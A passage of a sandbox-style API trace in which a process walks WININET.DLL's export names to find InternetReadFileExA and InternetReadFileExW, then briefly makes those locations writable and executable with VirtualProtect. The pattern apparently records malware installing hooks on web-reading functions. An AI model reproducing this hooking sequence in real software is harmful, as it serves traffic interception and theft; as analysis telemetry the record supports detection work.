lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFileExA") returned -1 [0082.354] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetDial", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetDialA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetDialW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExA") returned -1 [0082.355] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetReadFileExA") returned -1 [0082.356] lstrcmpA (lpString1="InternetReadFileExA", lpString2="InternetReadFileExA") returned 0 [0082.356] VirtualProtect (in: lpAddress=0x768e2a94, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.356] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.356] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.356] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.356] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.357] VirtualProtect (in: lpAddress=0x7699860a, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.357] VirtualProtect (in: lpAddress=0x7699860a, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.357] VirtualProtect (in: lpAddress=0x768e2a94, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.358] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.358] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.358] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e9c0 [0082.358] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="DllInstall", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.358] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExW") returned -1 [0082.359] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetReadFileExW") returned -1 [0082.360] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetDial", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetDialA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetDialW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetReadFileExW") returned -1 [0082.361] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExW") returned -1 [0082.362] lstrcmpA 